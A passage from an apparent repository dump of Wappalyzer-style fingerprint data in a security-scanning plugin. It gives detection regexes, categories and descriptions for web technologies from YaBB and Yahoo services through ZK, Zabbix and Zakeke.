\"https://developer.yahoo.com/yui/yuidoc\"\n  },\n  \"YaBB\": {\n    \"cats\": [\n      2\n    ],\n    \"cpe\": \"cpe:2.3:a:yabb:yabb:*:*:*:*:*:*:*:*\",\n    \"html\": [\n      \"Powered by <a href=\\\"[^>]+yabbforum\"\n    ],\n    \"icon\": \"YaBB.png\",\n    \"website\": \"https://www.yabbforum.com\"\n  },\n  \"Yahoo Advertising\": {\n    \"cats\": [\n      36,\n      77\n    ],\n    \"description\": \"Yahoo Advertising includes a comprehensive suite of web, mobile, and video ad products across native, audience, and premium display, which are accessible through a new buying platform.\",\n    \"dom\": [\n      \"link[href*='bc.yahoo.com']\"\n    ],\n    \"icon\": \"Yahoo.svg\",\n    \"js\": {\n      \"adxinserthtml\": \"\",\n      \"yahooCvLoad\": \"\",\n      \"yahoo_retargeting_pv_id\": \"\",\n      \"yahoo_ydn_conv_label\": \"\",\n      \"yahoo_ydn_conv_transaction_id\": \"\"\n    },\n    \"scriptSrc\": [\n      \"(?:adinterax|adserver\\\\.yahoo)\\\\.com\"\n    ],\n    \"website\": \"https://www.adtech.yahooinc.com\"\n  },\n  \"Yahoo! Ecommerce\": {\n    \"cats\": [\n      6\n    ],\n    \"headers\": {\n      \"X-XRDS-Location\": \"/ystore/\"\n    },\n    \"html\": [\n      \"<link[^>]+store\\\\.yahoo\\\\.net\"\n    ],\n    \"icon\": \"Yahoo.svg\",\n    \"js\": {\n      \"YStore\": \"\"\n    },\n    \"website\": \"https://smallbusiness.yahoo.com/ecommerce\"\n  },\n  \"Yahoo! Tag Manager\": {\n    \"cats\": [\n      42\n    ],\n    \"html\": [\n      \"<!-- (?:End )?Yahoo! Tag Manager -->\"\n    ],\n    \"icon\": \"Yahoo.svg\",\n    \"scriptSrc\": [\n      \"b\\\\.yjtag\\\\.jp/iframe\"\n    ],\n    \"website\": \"https://tagmanager.yahoo.co.jp/\"\n  },\n  \"Yahoo! Web Analytics\": {\n    \"cats\": [\n      10\n    ],\n    \"icon\": \"Yahoo.svg\",\n    \"js\": {\n      \"YWA\": \"\"\n    },\n    \"scriptSrc\": [\n      \"d\\\\.yimg\\\\.com/mi/ywa\\\\.js\"\n    ],\n    \"website\": \"https://web.analytics.yahoo.com\"\n  },\n  \"YalinHost\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"YalinHost is a web hosting service provider.\",\n    \"dns\": {\n      \"NS\": \"\\\\.yalinhost\\\\.com\",\n      \"SOA\": \"\\\\.yalinhost\\\\.com\"\n    },\n    \"icon\": \"YalinHost.svg\",\n    \"website\": \"https://yalinhost.com\"\n  },\n  \"Yampi Checkout\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Yampi Checkout is an payment processor from Brazil.\",\n    \"icon\": \"Yampi.svg\",\n    \"js\": {\n      \"yampiCheckoutUrl\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.yampi.com.br/checkout\"\n  },\n  \"Yampi Virtual store\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Yampi Virtual store is an ecommerce platform from Brazil.\",\n    \"icon\": \"Yampi.svg\",\n    \"implies\": [\n      \"Yampi Checkout\"\n    ],\n    \"js\": {\n      \"Yampi.api_domain\": \"\",\n      \"Yampi.cart_token\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.yampi\\\\.io/\"\n    ],\n    \"website\": \"https://www.yampi.com.br/loja-virtual\"\n  },\n  \"Yandex SmartCaptcha\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"Yandex SmartCaptcha is a service for verifying queries to identify user requests and block bots.\",\n    \"dom\": [\n      \"div#smartcaptcha-status\"\n    ],\n    \"headers\": {\n      \"x-yandex-captcha\": \"\"\n    },\n    \"icon\": \"yandex_smartcaptcha.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://cloud.yandex.com/en/services/smartcaptcha\"\n  },\n  \"Yandex.Cloud\": {\n    \"cats\": [\n      62\n    ],\n    \"description\": \"Yandex.Cloud is a public cloud platform where companies can create and develop projects using Yandex's scalable computing power, advanced technologies, and infrastructure.\",\n    \"icon\": \"Yandex.Cloud.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": false,\n    \"website\": \"https://cloud.yandex.com/en/\"\n  },\n  \"Yandex.Cloud CDN\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"Yandex.Cloud CDN helps you streamline static content delivery for your web service.\",\n    \"dom\": [\n      \"[href*='storage.yandexcloud.net'], [src*='storage.yandexcloud.net']\"\n    ],\n    \"icon\": \"Yandex.Cloud.svg\",\n    \"implies\": [\n      \"Yandex.Cloud\"\n    ],\n    \"website\": \"https://cloud.yandex.com/en/services/cdn\"\n  },\n  \"Yandex.Direct\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Yandex Direct is the platform designed for sponsored ad management.\",\n    \"html\": [\n      \"<yatag class=\\\"ya-partner__ads\\\">\"\n    ],\n    \"icon\": \"Yandex.Direct.svg\",\n    \"js\": {\n      \"yandex_ad_format\": \"\",\n      \"yandex_partner_id\": \"\"\n    },\n    \"scriptSrc\": [\n      \"//an\\\\.yandex\\\\.ru/\"\n    ],\n    \"website\": \"https://ads.yandex.com\"\n  },\n  \"Yandex.Messenger\": {\n    \"cats\": [\n      5,\n      52\n    ],\n    \"description\": \"Yandex.Messenger is an instant messaging application.\",\n    \"icon\": \"Yandex.Messenger.svg\",\n    \"js\": {\n      \"yandexChatWidget\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"scriptSrc\": [\n      \"chat\\\\.s3\\\\.yandex\\\\.net/widget\\\\.js\"\n    ],\n    \"website\": \"https://dialogs.yandex.ru\"\n  },\n  \"Yandex.Metrika\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Yandex.Metrica is a free web analytics service that tracks and reports website traffic.\",\n    \"icon\": \"Yandex.Metrika.svg\",\n    \"js\": {\n      \"yandex_metrika\": \"\"\n    },\n    \"scriptSrc\": [\n      \"mc\\\\.yandex\\\\.ru/metrika/(?:tag|watch)\\\\.js\",\n      \"cdn\\\\.jsdelivr\\\\.net/npm/yandex\\\\-metrica\\\\-watch/watch\\\\.js\"\n    ],\n    \"website\": \"https://metrika.yandex.com\"\n  },\n  \"Yapla\": {\n    \"cats\": [\n      111\n    ],\n    \"description\": \"Yapla is a web-based software platform that provides event management and fundraising solutions for non-profit organisations, associations, and event planners.\",\n    \"dom\": [\n      \"a[href*='\\\\.yapla\\\\.com/'][target='_blank']\"\n    ],\n    \"icon\": \"Yapla.svg\",\n    \"js\": {\n      \"yaplaConsent.cookieName\": \"yapla-consent\"\n    },\n    \"meta\": {\n      \"generator\": \"^Yapla\\\\sv([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.yapla.com\"\n  },\n  \"Yaws\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:yaws:yaws:*:*:*:*:*:*:*:*\",\n    \"description\": \"Yaws (Yet Another Web Server) is an open-source web server designed to deliver dynamic content efficiently. It was developed by Claes (klacke) Wikström and is written in Erlang, a functional programming language.\",\n    \"headers\": {\n      \"Server\": \"Yaws(?: ([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Yaws.png\",\n    \"oss\": true,\n    \"website\": \"https://github.com/erlyaws/yaws\"\n  },\n  \"Ybug\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"Ybug is a visual feedback and bug tracking tool designed for users and clients, enabling identification and reporting of issues.\",\n    \"icon\": \"Ybug.svg\",\n    \"js\": {\n      \"Ybug\": \"\",\n      \"ybug_settings\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.ybug\\\\.io/\"\n    ],\n    \"website\": \"https://ybug.io\"\n  },\n  \"Yclas\": {\n    \"cats\": [\n      6\n    ],\n    \"cpe\": \"cpe:2.3:a:open-classifieds:open_classifieds:*:*:*:*:*:*:*:*\",\n    \"description\": \"Yclas is a platform that allows users to create and manage customizable online classified ads websites, available as both a hosted service and an open-source self-hosted solution​ .\",\n    \"icon\": \"Yclas.svg\",\n    \"meta\": {\n      \"author\": \"open-classifieds\\\\.com\",\n      \"copyright\": \"(?:Open Classifieds|Yclas)\\\\s([0-9.]+)?\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://yclas.com\"\n  },\n  \"Ycode\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Ycode is a no-code development platform that allows users to create web and mobile applications without any coding skills.\",\n    \"dom\": [\n      \"link[href*='.ycodeapp.com/']\"\n    ],\n    \"icon\": \"Ycode.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.ycode.com\"\n  },\n  \"Yektanet\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Yektanet is the biggest and most advanced native advertising network in Iran.\",\n    \"icon\": \"Yektanet.svg\",\n    \"js\": {\n      \"yektanet\": \"\"\n    },\n    \"meta\": {\n      \"yektanet_session_last_activity\": \"\"\n    },\n    \"website\": \"https://www.yektanet.com\"\n  },\n  \"Yelp Reservations\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"Yelp Reservations is a cloud-based restaurant management system.\",\n    \"dom\": {\n      \"iframe[src*='yelp']\": {\n        \"attributes\": {\n          \"src\": \"yelp(?:.com/reservations|reservations\\\\.com)\"\n        }\n      }\n    },\n    \"icon\": \"Yelp.svg\",\n    \"website\": \"https://yelp.com\"\n  },\n  \"Yelp Review Badge\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Yelp Review Badges showcase business reviews from Yelp on websites.\",\n    \"dom\": {\n      \"img[src*='dyn.yelpcdn.com']\": {\n        \"attributes\": {\n          \"src\": \"\"\n        }\n      }\n    },\n    \"icon\": \"Yelp.svg\",\n    \"scriptSrc\": [\n      \"yelp\\\\.com/biz_badge_js\"\n    ],\n    \"website\": \"https://yelp.com\"\n  },\n  \"Yepcomm\": {\n    \"cats\": [\n      6\n    ],\n    \"icon\": \"yepcomm.svg\",\n    \"meta\": {\n      \"author\": \"Yepcomm Tecnologia\",\n      \"copyright\": \"Yepcomm Tecnologia\"\n    },\n    \"website\": \"https://www.yepcomm.com.br\"\n  },\n  \"Yeps\": {\n    \"cats\": [\n      32,\n      75\n    ],\n    \"description\": \"Yeps is a minimalist bar that can be added to the top or bottom of your website to collect visitor’s emails and promote content.\",\n    \"icon\": \"Yeps.svg\",\n    \"js\": {\n      \"Yeps\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.yeps\\\\.io/\"\n    ],\n    \"website\": \"https://yeps.io\"\n  },\n  \"YesWiki\": {\n    \"cats\": [\n      8\n    ],\n    \"description\": \"YesWiki is a collaborative website creation and management Free Software under the AGPL license, enabling any web user to create, delete, edit, or comment on site pages with unlimited editors or pages.\",\n    \"dom\": [\n      \"#yw-container\"\n    ],\n    \"icon\": \"YesWiki.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"javascripts/yeswiki-base\\\\.js\"\n    ],\n    \"website\": \"https://yeswiki.net\"\n  },\n  \"Yett\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Yett is a small webpage library to control the execution of (third party) scripts like analytics.\",\n    \"icon\": \"Yett.png\",\n    \"js\": {\n      \"YETT_BLACKLIST\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/yett@([\\\\d\\\\.]+)/dist/yett\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/elbywan/yett\"\n  },\n  \"Yext\": {\n    \"cats\": [\n      29,\n      19\n    ],\n    \"description\": \"Yext is a technology company that provides a cloud-based platform for managing digital knowledge and online reputation.\",\n    \"dom\": [\n      \"form.yxt-SearchBar-form\"\n    ],\n    \"icon\": \"Yext.svg\",\n    \"js\": {\n      \"ANSWERS._analyticsReporterService._baseUrl\": \"\\\\.yext-pixel\\\\.com\",\n      \"Yext.BaseUrl\": \"\",\n      \"YextAnalyticsObject\": \"\",\n      \"yext.analytics\": \"\",\n      \"yextAnalyticsEnabled\": \"\",\n      \"yext_analytics\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.yext.com\"\n  },\n  \"Yieldify\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Yieldify is a customer journey optimisation platform that brings personalisation to the full customer journey.\",\n    \"icon\": \"Yieldify.svg\",\n    \"js\": {\n      \"_yieldify\": \"\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.yieldify\\\\.com\"\n    ],\n    \"website\": \"https://www.yieldify.com\"\n  },\n  \"Yieldlab\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Yieldlab is a German company that provides programmatic advertising technology solutions to optimize ad performance and maximize digital ad spend returns.\",\n    \"icon\": \"Yieldlab.svg\",\n    \"scriptSrc\": [\n      \"^https?://(?:[^/]+\\\\.)?yieldlab\\\\.net/\"\n    ],\n    \"website\": \"https://yieldlab.de\"\n  },\n  \"Yii\": {\n    \"cats\": [\n      18\n    ],\n    \"cookies\": {\n      \"YII_CSRF_TOKEN\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:yiiframework:yii:*:*:*:*:*:*:*:*\",\n    \"description\": \"Yii is an open-source, object-oriented, component-based MVC PHP web application framework.\",\n    \"dom\": [\n      \"input[name='YII_CSRF_TOKEN'][type='hidden'], a[href*='//www.yiiframework.com/'][rel='external']\"\n    ],\n    \"html\": [\n      \"Powered by <a href=\\\"http://www\\\\.yiiframework\\\\.com/\\\" rel=\\\"external\\\">Yii Framework</a>\",\n      \"<input type=\\\"hidden\\\" value=\\\"[a-zA-Z0-9]{40}\\\" name=\\\"YII_CSRF_TOKEN\\\" \\\\/>\",\n      \"<!\\\\[CDATA\\\\[YII-BLOCK-(?:HEAD|BODY-BEGIN|BODY-END)\\\\]\"\n    ],\n    \"icon\": \"Yii.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/assets/[a-zA-Z0-9]{8}\\\\/yii\\\\.js$\",\n      \"yii(?:\\\\.|)?(?:validation|activeform)\\\\.js\"\n    ],\n    \"website\": \"https://www.yiiframework.com\"\n  },\n  \"Yoast Duplicate Post\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Yoast Duplicate Post is a WordPress plugin which allows users to clone posts of any type, or copy them to new drafts for further editing.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/duplicate-post/']\"\n    ],\n    \"icon\": \"Yoast SEO.png\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/duplicate-post\"\n  },\n  \"Yoast SEO\": {\n    \"cats\": [\n      54,\n      87\n    ],\n    \"description\": \"Yoast SEO is a search engine optimisation plugin for WordPress and other platforms.\",\n    \"dom\": {\n      \"script.yoast-schema-graph\": {\n        \"attributes\": {\n          \"class\": \"\"\n        }\n      }\n    },\n    \"html\": [\n      \"<!-- This site is optimized with the Yoast (?:WordPress )?SEO plugin v([^\\\\s]+) -\\\\;version:\\\\1\",\n      \"<!-- This site is optimized with the Yoast SEO Premium plugin v(?:[^\\\\s]+) \\\\(Yoast SEO v([^\\\\s]+)\\\\) -\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Yoast SEO.png\",\n    \"implies\": [\n      \"WordPress\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://yoast.com/wordpress/plugins/seo/\"\n  },\n  \"Yoast SEO Premium\": {\n    \"cats\": [\n      54\n    ],\n    \"description\": \"Yoast SEO Premium is a search engine optimisation plugin for WordPress and other platforms.\",\n    \"html\": [\n      \"<!-- This site is optimized with the Yoast SEO Premium plugin v([^\\\\s]+) \\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Yoast SEO.png\",\n    \"oss\": true,\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://yoast.com/wordpress/plugins/seo/\"\n  },\n  \"Yoast SEO for Shopify\": {\n    \"cats\": [\n      54,\n      100\n    ],\n    \"description\": \"Yoast SEO for Shopify optimizes Shopify shops.\",\n    \"dom\": {\n      \"script#yoast-schema-graph\": {\n        \"attributes\": {\n          \"id\": \"\"\n        }\n      }\n    },\n    \"html\": [\n      \"<!-- This site is optimized with Yoast SEO for Shopify -->\"\n    ],\n    \"icon\": \"yoast-seo-shopify.png\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://yoast.com/shopify/apps/yoast-seo/\"\n  },\n  \"Yodel\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Yodel is a delivery company for B2B and B2C orders in the United Kingdom.\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bYodel\\\\b\"\n    ],\n    \"website\": \"https://www.yodel.co.uk/\"\n  },\n  \"Yola\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Yola is a website builder and website hosting company headquartered in San Francisco.\",\n    \"icon\": \"Yola.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.yola(?:cdn)?\\\\.(?:net|com)/\"\n    ],\n    \"website\": \"https://www.yola.com\"\n  },\n  \"Yonder\": {\n    \"cats\": [\n      52,\n      93\n    ],\n    \"description\": \"Yonder is a booking automation solution that helps tourism businesses increase bookings, collect feedback, garner positive reviews, convert website visitors, automate FAQs with an AI chatbot, and communicate with customers.\",\n    \"icon\": \"Yonder.svg\",\n    \"js\": {\n      \"YONDER_APP_LOADED\": \"\",\n      \"toggleYonderChat\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.yonderhq\\\\.com/\"\n    ],\n    \"website\": \"https://www.yonderhq.com\"\n  },\n  \"YooMoney\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"YooMoney is an IT company working with electronic payments on the Internet, creating and supporting financial services for individuals and businesses.\",\n    \"dom\": [\n      \"a[href*='yoomoney.ru'][target='_blank'], iframe[src*='yoomoney.ru'], img[src*='yoomoney.ru']\"\n    ],\n    \"headers\": {\n      \"Content-Security-Policy\": \"\\\\.yoomoney\\\\.ru\"\n    },\n    \"icon\": \"YooMoney.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.yoomoney\\\\.ru/\"\n    ],\n    \"website\": \"https://yoomoney.ru\"\n  },\n  \"Yoori\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Yoori is a multi-vendor PWA ecommerce CMS.\",\n    \"dom\": [\n      \"div.yoori--cookies\"\n    ],\n    \"icon\": \"Yoori.svg\",\n    \"implies\": [\n      \"Laravel\",\n      \"PHP\",\n      \"Vue.js\",\n      \"PWA\",\n      \"MySQL\",\n      \"cPanel\"\n    ],\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"scripts\": [\n      \"console\\\\.log\\\\(\\\\'Yoori-Ecommerce\"\n    ],\n    \"website\": \"https://spagreen.net/yoori-ecommerce-solution\"\n  },\n  \"Yotpo Loyalty & Referrals\": {\n    \"cats\": [\n      84\n    ],\n    \"description\": \"Yotpo is a user-generated content marketing platform.\",\n    \"icon\": \"Yotpo.svg\",\n    \"js\": {\n      \"SwellConfig\": \"\",\n      \"swellAPI\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn(?:-loyalty)?\\\\.(?:swellrewards|yotpo)\\\\.com/\"\n    ],\n    \"website\": \"https://www.yotpo.com/platform/loyalty/\"\n  },\n  \"Yotpo Reviews\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Yotpo is a user-generated content marketing platform.\",\n    \"icon\": \"Yotpo.svg\",\n    \"js\": {\n      \"yotpo\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?!cdn-loyalty)\\\\.yotpo\\\\.com/\"\n    ],\n    \"website\": \"https://www.yotpo.com/platform/reviews/\"\n  },\n  \"Yotpo SMSBump\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"SMS Bump is a SMS marketing and automations app which was acquired by Yotpo.\",\n    \"icon\": \"Yotpo.svg\",\n    \"js\": {\n      \"SMSBumpForm\": \"\"\n    },\n    \"website\": \"https://www.yotpo.com/platform/smsbump-sms-marketing/\"\n  },\n  \"Yotpo Subscriptions\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Yotpo Subscriptions is a Shopify app designed for merchants to provide subscription services to customers.\",\n    \"html\": [\n      \"<!-- BEGIN app block: shopify://apps/yotpo-subscriptions/blocks/app-embed-block\"\n    ],\n    \"icon\": \"Yotpo.svg\",\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.yotpo.com/platform/subscriptions/\"\n  },\n  \"Yottaa\": {\n    \"cats\": [\n      42,\n      74,\n      92\n    ],\n    \"description\": \"Yottaa is an ecommerce optimisation platform that helps with conversions, performance and security.\",\n    \"icon\": \"Yottaa.svg\",\n    \"meta\": {\n      \"X-Yottaa-Metrics\": \"\",\n      \"X-Yottaa-Optimizations\": \"\"\n    },\n    \"scriptSrc\": [\n      \"cdn\\\\.yottaa\\\\.\\\\w+/\"\n    ],\n    \"website\": \"https://www.yottaa.com\"\n  },\n  \"YouCam Makeup\": {\n    \"cats\": [\n      105\n    ],\n    \"description\": \"YouCam Makeup is a cross-platform virtual makeup solution for omnichannel ecommerce.\",\n    \"icon\": \"YouCam Makeup.svg\",\n    \"js\": {\n      \"YMK.applyMakeupByLook\": \"\",\n      \"YMK.calDeltaE\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"plugins-media\\\\.(?:perfectcorp|makeupar)\\\\.com/\"\n    ],\n    \"website\": \"https://www.perfectcorp.com/business/products/virtual-makeup\"\n  },\n  \"YouCan\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"YouCan is an integrated platform specialised in ecommerce, offering a wide range of services needed by merchants and entrepreneurs.\",\n    \"headers\": {\n      \"x-powered-by\": \"Youcan\\\\.Private\\\\.DC/\"\n    },\n    \"icon\": \"YouCan.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\",\n      \"Redis\",\n      \"Laravel\",\n      \"YouCan Pay\"\n    ],\n    \"js\": {\n      \"YCPay\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://youcan.shop\"\n  },\n  \"YouCan Pay\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"YouCan Pay is a developed electronic payment platform that provides effective solutions for the payment gatways issue in ecommerce in Morocco.\",\n    \"icon\": \"YouCan Pay.svg\",\n    \"js\": {\n      \"YCPay\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://youcanpay.com\"\n  },\n  \"YouPay\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"YouPay is an alternative method of payment that allows you to give someone else the ability to pay for your shopping cart with no fees or interest.\",\n    \"icon\": \"YouPay.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"YouPay.buttonWindow\": \"\",\n      \"youpayReady\": \"\",\n      \"youpayStatus\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.youpay\\\\.ai/\"\n    ],\n    \"website\": \"https://youpay.co\"\n  },\n  \"YouTrack\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"YouTrack is a browser-based bug tracker, issue tracking system and project management software.\",\n    \"html\": [\n      \"no-title=\\\"YouTrack\\\">\",\n      \"data-reactid=\\\"[^\\\"]+\\\">youTrack ([0-9.]+)<\\\\;version:\\\\1\",\n      \"type=\\\"application/opensearchdescription\\\\+xml\\\" title=\\\"YouTrack\\\"/>\"\n    ],\n    \"icon\": \"YouTrack.svg\",\n    \"website\": \"https://www.jetbrains.com/youtrack/\"\n  },\n  \"YouTube\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"YouTube is a video sharing service where users can create their own profile, upload videos, watch, like and comment on other videos.\",\n    \"html\": [\n      \"<(?:param|embed|iframe)[^>]+youtube(?:-nocookie)?\\\\.com/(?:v|embed)\"\n    ],\n    \"icon\": \"YouTube.svg\",\n    \"scriptSrc\": [\n      \"\\\\.youtube\\\\.com/\"\n    ],\n    \"website\": \"https://www.youtube.com\"\n  },\n  \"Youform\": {\n    \"cats\": [\n      110\n    ],\n    \"description\": \"Youform is a no-code form builder to create conversational style forms for collecting leads, surveys, and feedback.\",\n    \"icon\": \"Youform.svg\",\n    \"js\": {\n      \"youForm.blurActiveElement\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://youform.com\"\n  },\n  \"YunoHost\": {\n    \"cats\": [\n      28\n    ],\n    \"cpe\": \"cpe:2.3:o:yunohost:yunohost:*:*:*:*:*:*:*:*\",\n    \"description\": \"YunoHost is a server operating system that is free and open-source, allowing users to host their own web applications, email services, and other online tools. It is based on Debian GNU/Linux.\",\n    \"icon\": \"YunoHost.svg\",\n    \"implies\": [\n      \"Debian\"\n    ],\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/ynh_portal\\\\.js\"\n    ],\n    \"website\": \"https://yunohost.org\"\n  },\n  \"Yupop\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Yupop is a platform that enables users to create an online store, requiring no monthly subscription and only charging fees when sales are made.\",\n    \"icon\": \"Yupop.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"\\\\.yupopstorecdn\\\\.com\"\n    ],\n    \"website\": \"https://yupop.com\"\n  },\n  \"yellow.ai\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"yellow.ai provides chatbot and automation services.\",\n    \"icon\": \"yellow.ai.svg\",\n    \"js\": {\n      \"ymConfig\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.yellowmessenger\\\\.com\"\n    ],\n    \"website\": \"https://yellow.ai/\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/technologies/z.json",
    "content": "{\n  \"ZK\": {\n    \"cats\": [\n      18\n    ],\n    \"description\": \"ZK is a framework for building rich, interactive web applications using Java, providing a set of tools and components to create dynamic user interfaces.\",\n    \"html\": [\n      \"<!-- ZK [.\\\\d\\\\s]+-->\"\n    ],\n    \"icon\": \"ZK.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"zkau/\"\n    ],\n    \"website\": \"https://zkoss.org\"\n  },\n  \"ZURB Foundation\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Zurb Foundation is used to prototype in the browser. Allows rapid creation of websites or applications while leveraging mobile and responsive technology. The front end framework is the collection of HTML, CSS, and Javascript containing design patterns.\",\n    \"html\": [\n      \"<link[^>]+foundation[^>\\\"]+css\",\n      \"<div [^>]*class=\\\"[^\\\"]*(?:small|medium|large)-\\\\d{1,2} columns\"\n    ],\n    \"icon\": \"ZURB Foundation.png\",\n    \"js\": {\n      \"Foundation.version\": \"([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://foundation.zurb.com\"\n  },\n  \"Zabbix\": {\n    \"cats\": [\n      19\n    ],\n    \"cpe\": \"cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*\",\n    \"description\": \"Zabbix is an open-source monitoring tool that provides real-time monitoring, alerting, and reporting for IT infrastructure, including networks, servers, and applications.\",\n    \"html\": [\n      \"<body[^>]+zbxCallPostScripts\"\n    ],\n    \"icon\": \"Zabbix.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"zbxCallPostScripts\": \"\"\n    },\n    \"meta\": {\n      \"Author\": \"ZABBIX SIA\\\\;confidence:70\"\n    },\n    \"oss\": true,\n    \"url\": [\n      \"\\\\/zabbix\\\\/\\\\;confidence:30\"\n    ],\n    \"website\": \"https://zabbix.com\"\n  },\n  \"Zakeke\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Zakeke is a product customisation tool compatible with services and apps 